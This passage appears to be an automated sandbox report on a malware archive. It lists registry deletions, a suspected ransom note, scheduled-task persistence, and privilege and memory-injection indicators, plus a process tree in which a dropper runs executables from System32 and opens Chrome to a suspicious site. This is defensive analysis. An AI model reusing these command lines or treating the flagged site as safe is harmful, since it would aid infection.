Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.doc\ShellEx	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\.mp3	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\AppX1apmywg4z9t3tk3nrn9y8ntjc5cg9675\Shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\Programmable	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0013-0001-0018-ABCDEFFEDCBA}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pxn\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.xm	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0013-0001-0004-ABCDEFFEDCBB}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0034-ABCDEFFEDCBC}\InprocServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0137-ABCDEFFEDCBA}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0233-ABCDEFFEDCBC}\InprocServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0382-ABCDEFFEDCBA}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CertificateAuthority.GetConfig	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8BD21D60-EC42-11CE-9E0D-00AA006002F3}\Implemented Categories\{7DD95801-9882-11CF-9FA9-00AA006C42C4}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{9489FEB2-1925-4D01-B788-6D912C70F7F2}\ProgID	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0014-0002-0033-ABCDEFFEDCBA}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0014-0002-0068-ABCDEFFEDCBA}\InprocServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0305-ABCDEFFEDCBC}\InprocServer32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\UpdateEncryptionSettingsWork	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0035-ABCDEFFEDCBA}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0137-ABCDEFFEDCBA}\InprocServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0125-ABCDEFFEDCBC}\InprocServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0140-ABCDEFFEDCBA}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0243-ABCDEFFEDCBC}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0300-ABCDEFFEDCBB}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0167-ABCDEFFEDCBB}\InprocServer32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.FDFDoc\shell\Read\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{02AF6DD2-77E6-44DF-B3E1-57CF1476D8EA}\TypeLib	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{05589F80-C356-11CE-BF01-00AA0055595A}\InprocServer32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9203C2CB-1DC1-482D-967E-597AFF270F0D}\TypeLib	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0056-ABCDEFFEDCBC}\InprocServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0097-ABCDEFFEDCBC}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0155-ABCDEFFEDCBB}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\AppXak1hygz1tpjjnxhr1pwtcgnkpr24r5e7\Shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{99D651D7-5F7C-470E-8A3B-774D5D9536AC}\InprocServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0044-ABCDEFFEDCBA}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0224-ABCDEFFEDCBB}\InprocServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0322-ABCDEFFEDCBB}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0324-ABCDEFFEDCBB}\InprocServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0337-ABCDEFFEDCBC}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0089-ABCDEFFEDCBC}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.m3u8	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{45EAE363-122A-445A-97B6-3DE890E786F8}\LocalServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0013-0001-0080-ABCDEFFEDCBB}\InprocServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0038-ABCDEFFEDCBA}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0083-ABCDEFFEDCBB}\InprocServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0060-ABCDEFFEDCBB}\InprocServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0061-ABCDEFFEDCBC}\InprocServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0023-ABCDEFFEDCBB}\InprocServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0112-ABCDEFFEDCBB}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0123-ABCDEFFEDCBA}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0341-ABCDEFFEDCBA}\InprocServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0021-ABCDEFFEDCBC}\InprocServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0071-ABCDEFFEDCBC}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0018-0000-0072-ABCDEFFEDCBC}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\Version	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\PersistentHandler	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\.jpe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Application.Manifest\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020832-0000-0000-C000-000000000046}\Conversion\ReadWritable\Main	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020833-0000-0000-C000-000000000046}\DefaultIcon	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\ProgID	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9432194C-DF54-4824-8E24-B013BF2B90E3}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0134-ABCDEFFEDCBB}	reg.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1364	NOTEPAD.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5680	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1104	schtasks.exe
1628	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4320	imagelogger.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
812	chrome.exe
812	chrome.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
5032	ghjaedjgaw.exe
5032	ghjaedjgaw.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
1620	powershell.exe
1620	powershell.exe
1620	powershell.exe
744	powershell.exe
744	powershell.exe
4016	powershell.exe
4016	powershell.exe
744	powershell.exe
4016	powershell.exe
4248	powershell.exe
4248	powershell.exe
4248	powershell.exe
4248	powershell.exe
2864	powershell.exe
2864	powershell.exe
2120	powershell.exe
2120	powershell.exe
2864	powershell.exe
2120	powershell.exe
5304	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
3276	7zFM.exe
1656	OpenWith.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	3276	7zFM.exe
Token: 35	3276	7zFM.exe
Token: SeSecurityPrivilege	3276	7zFM.exe
Token: SeDebugPrivilege	3308	New Text Document mod.exe
Token: SeDebugPrivilege	2428	4363463463464363463463463.exe
Token: SeDebugPrivilege	3012	CollosalLoader.exe
Token: SeDebugPrivilege	4396	Client-built.exe
Token: SeDebugPrivilege	3064	New Text Document mod.exe
Token: SeDebugPrivilege	1744	4363463463464363463463463.exe
Token: SeShutdownPrivilege	812	chrome.exe
Token: SeCreatePagefilePrivilege	812	chrome.exe
Token: SeShutdownPrivilege	812	chrome.exe
Token: SeCreatePagefilePrivilege	812	chrome.exe
Token: SeShutdownPrivilege	812	chrome.exe
Token: SeCreatePagefilePrivilege	812	chrome.exe
Token: SeDebugPrivilege	388	diskutil.exe
Token: SeDebugPrivilege	1440	diskutil.exe
Token: SeDebugPrivilege	4196	Windows.exe
Token: SeDebugPrivilege	1416	JUSCHED.EXE
Token: SeDebugPrivilege	4320	imagelogger.exe
Token: SeDebugPrivilege	4320	imagelogger.exe
Token: SeDebugPrivilege	1620	powershell.exe
Token: SeDebugPrivilege	772	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2096	WMIC.exe
Token: SeSecurityPrivilege	2096	WMIC.exe
Token: SeTakeOwnershipPrivilege	2096	WMIC.exe
Token: SeLoadDriverPrivilege	2096	WMIC.exe
Token: SeSystemProfilePrivilege	2096	WMIC.exe
Token: SeSystemtimePrivilege	2096	WMIC.exe
Token: SeProfSingleProcessPrivilege	2096	WMIC.exe
Token: SeIncBasePriorityPrivilege	2096	WMIC.exe
Token: SeCreatePagefilePrivilege	2096	WMIC.exe
Token: SeBackupPrivilege	2096	WMIC.exe
Token: SeRestorePrivilege	2096	WMIC.exe
Token: SeShutdownPrivilege	2096	WMIC.exe
Token: SeDebugPrivilege	2096	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2096	WMIC.exe
Token: SeRemoteShutdownPrivilege	2096	WMIC.exe
Token: SeUndockPrivilege	2096	WMIC.exe
Token: SeManageVolumePrivilege	2096	WMIC.exe
Token: 33	2096	WMIC.exe
Token: 34	2096	WMIC.exe
Token: 35	2096	WMIC.exe
Token: 36	2096	WMIC.exe
Token: SeDebugPrivilege	744	powershell.exe
Token: SeDebugPrivilege	4016	powershell.exe
Token: SeIncreaseQuotaPrivilege	2096	WMIC.exe
Token: SeSecurityPrivilege	2096	WMIC.exe
Token: SeTakeOwnershipPrivilege	2096	WMIC.exe
Token: SeLoadDriverPrivilege	2096	WMIC.exe
Token: SeSystemProfilePrivilege	2096	WMIC.exe
Token: SeSystemtimePrivilege	2096	WMIC.exe
Token: SeProfSingleProcessPrivilege	2096	WMIC.exe
Token: SeIncBasePriorityPrivilege	2096	WMIC.exe
Token: SeCreatePagefilePrivilege	2096	WMIC.exe
Token: SeBackupPrivilege	2096	WMIC.exe
Token: SeRestorePrivilege	2096	WMIC.exe
Token: SeShutdownPrivilege	2096	WMIC.exe
Token: SeDebugPrivilege	2096	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2096	WMIC.exe
Token: SeRemoteShutdownPrivilege	2096	WMIC.exe
Token: SeUndockPrivilege	2096	WMIC.exe
Token: SeManageVolumePrivilege	2096	WMIC.exe
Token: 33	2096	WMIC.exe

Suspicious use of FindShellTrayWindow 38 IoCs

pid	Process
3276	7zFM.exe
3276	7zFM.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe

Suspicious use of SendNotifyMessage 30 IoCs

pid	Process
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
812	chrome.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe
3536	winvnc.exe

Suspicious use of SetWindowsHookEx 28 IoCs

pid	Process
4396	Client-built.exe
1440	diskutil.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
1656	OpenWith.exe
4524	gjawedrtg.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3308 wrote to memory of 1544	3308	New Text Document mod.exe	110
PID 3308 wrote to memory of 1544	3308	New Text Document mod.exe	110
PID 3308 wrote to memory of 1544	3308	New Text Document mod.exe	110
PID 2428 wrote to memory of 3012	2428	4363463463464363463463463.exe	115
PID 2428 wrote to memory of 3012	2428	4363463463464363463463463.exe	115
PID 3308 wrote to memory of 5104	3308	New Text Document mod.exe	116
PID 3308 wrote to memory of 5104	3308	New Text Document mod.exe	116
PID 3308 wrote to memory of 5104	3308	New Text Document mod.exe	116
PID 2428 wrote to memory of 4396	2428	4363463463464363463463463.exe	117
PID 2428 wrote to memory of 4396	2428	4363463463464363463463463.exe	117
PID 3308 wrote to memory of 1360	3308	New Text Document mod.exe	121
PID 3308 wrote to memory of 1360	3308	New Text Document mod.exe	121
PID 1360 wrote to memory of 2448	1360	Coc%20Coc.exe	122
PID 1360 wrote to memory of 2448	1360	Coc%20Coc.exe	122
PID 2448 wrote to memory of 3936	2448	cmd.exe	124
PID 2448 wrote to memory of 3936	2448	cmd.exe	124
PID 2448 wrote to memory of 3936	2448	cmd.exe	124
PID 3936 wrote to memory of 3152	3936	portable_util.exe	125
PID 3936 wrote to memory of 3152	3936	portable_util.exe	125
PID 3936 wrote to memory of 3152	3936	portable_util.exe	125
PID 3308 wrote to memory of 1304	3308	New Text Document mod.exe	127
PID 3308 wrote to memory of 1304	3308	New Text Document mod.exe	127
PID 3308 wrote to memory of 1304	3308	New Text Document mod.exe	127
PID 3152 wrote to memory of 2500	3152	setup.exe	129
PID 3152 wrote to memory of 2500	3152	setup.exe	129
PID 3152 wrote to memory of 2500	3152	setup.exe	129
PID 3308 wrote to memory of 1892	3308	New Text Document mod.exe	134
PID 3308 wrote to memory of 1892	3308	New Text Document mod.exe	134
PID 1892 wrote to memory of 3508	1892	Google%20Chrome.exe	135
PID 1892 wrote to memory of 3508	1892	Google%20Chrome.exe	135
PID 3508 wrote to memory of 812	3508	cmd.exe	137
PID 3508 wrote to memory of 812	3508	cmd.exe	137
PID 812 wrote to memory of 3920	812	chrome.exe	138
PID 812 wrote to memory of 3920	812	chrome.exe	138
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139
PID 812 wrote to memory of 3236	812	chrome.exe	139

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
436	attrib.exe
5384	attrib.exe
5576	attrib.exe

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\241212-wymq6ssnat_pw_infected.zip"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3276

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:396

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\New Text Document.txt
1⤵
PID:4428

C:\Users\Admin\AppData\Local\Temp\Temp1_New Text Document mod.exse.zip\New Text Document mod.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_New Text Document mod.exse.zip\New Text Document mod.exe"
1⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3308
- C:\Windows\System32\a\win.exe
  "C:\Windows\System32\a\win.exe"
  2⤵
  - Executes dropped EXE
  PID:1544
- C:\Windows\System32\a\Office%202010%20Toolkit.exe
  "C:\Windows\System32\a\Office%202010%20Toolkit.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5104
- C:\Windows\System32\a\Coc%20Coc.exe
  "C:\Windows\System32\a\Coc%20Coc.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1360
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\831C.tmp\831D.tmp\832D.bat C:\Windows\System32\a\Coc%20Coc.exe"
    3⤵
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:2448
  - - C:\Users\Admin\AppData\Roaming\portable_util.exe
      portable_util.exe --register-coccoc-portable --force-uid=3849d47c-687c-49be-b315-4e062899d124 --skip-import --skip-welcome --do-not-create-shortcut --force-regenerate-hid
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3936
    - - C:\Users\Admin\AppData\Roaming\setup.exe
        
        "C:\Users\Admin\AppData\Roaming\setup.exe" --register-coccoc-portable --do-not-create-shortcut
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3152
      - C:\Users\Admin\AppData\Roaming\setup.exe
        
        C:\Users\Admin\AppData\Roaming\setup.exe --type=crashpad-handler /prefetch:7 --no-upload-gzip --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\CocCoc\Browser\User Data\Crashpad" --url=https://browser-crashes.coccoc.com/cr/report --annotation=channel= --annotation=plat=Win32 "--annotation=prod=Coc Coc" --annotation=ver=114.0.5735.210 --initial-client-data=0x318,0x31c,0x320,0x2f4,0x324,0xca8088,0xca8098,0xca80a4
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2500
- C:\Windows\System32\a\vc_redist.x64.exe
  "C:\Windows\System32\a\vc_redist.x64.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1304
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1304 -s 520
    3⤵
    - Program crash
    PID:464
- C:\Windows\System32\a\Google%20Chrome.exe
  "C:\Windows\System32\a\Google%20Chrome.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1892
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9329.tmp\932A.tmp\933B.bat C:\Windows\System32\a\Google%20Chrome.exe"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3508
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" hoiquannet.com/301
      4⤵
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:812
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff9cf03cc40,0x7ff9cf03cc4c,0x7ff9cf03cc58
        5⤵
        
        PID:3920
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1872,i,4468832303499976883,13521726668509163706,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1868 /prefetch:2
        5⤵
        
        PID:3236
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1828,i,4468832303499976883,13521726668509163706,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2116 /prefetch:3
        5⤵
        
        PID:804
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2248,i,4468832303499976883,13521726668509163706,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2504 /prefetch:8
        5⤵
        
        PID:2068
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3044,i,4468832303499976883,13521726668509163706,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3068 /prefetch:1
        5⤵
        
        PID:3656
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
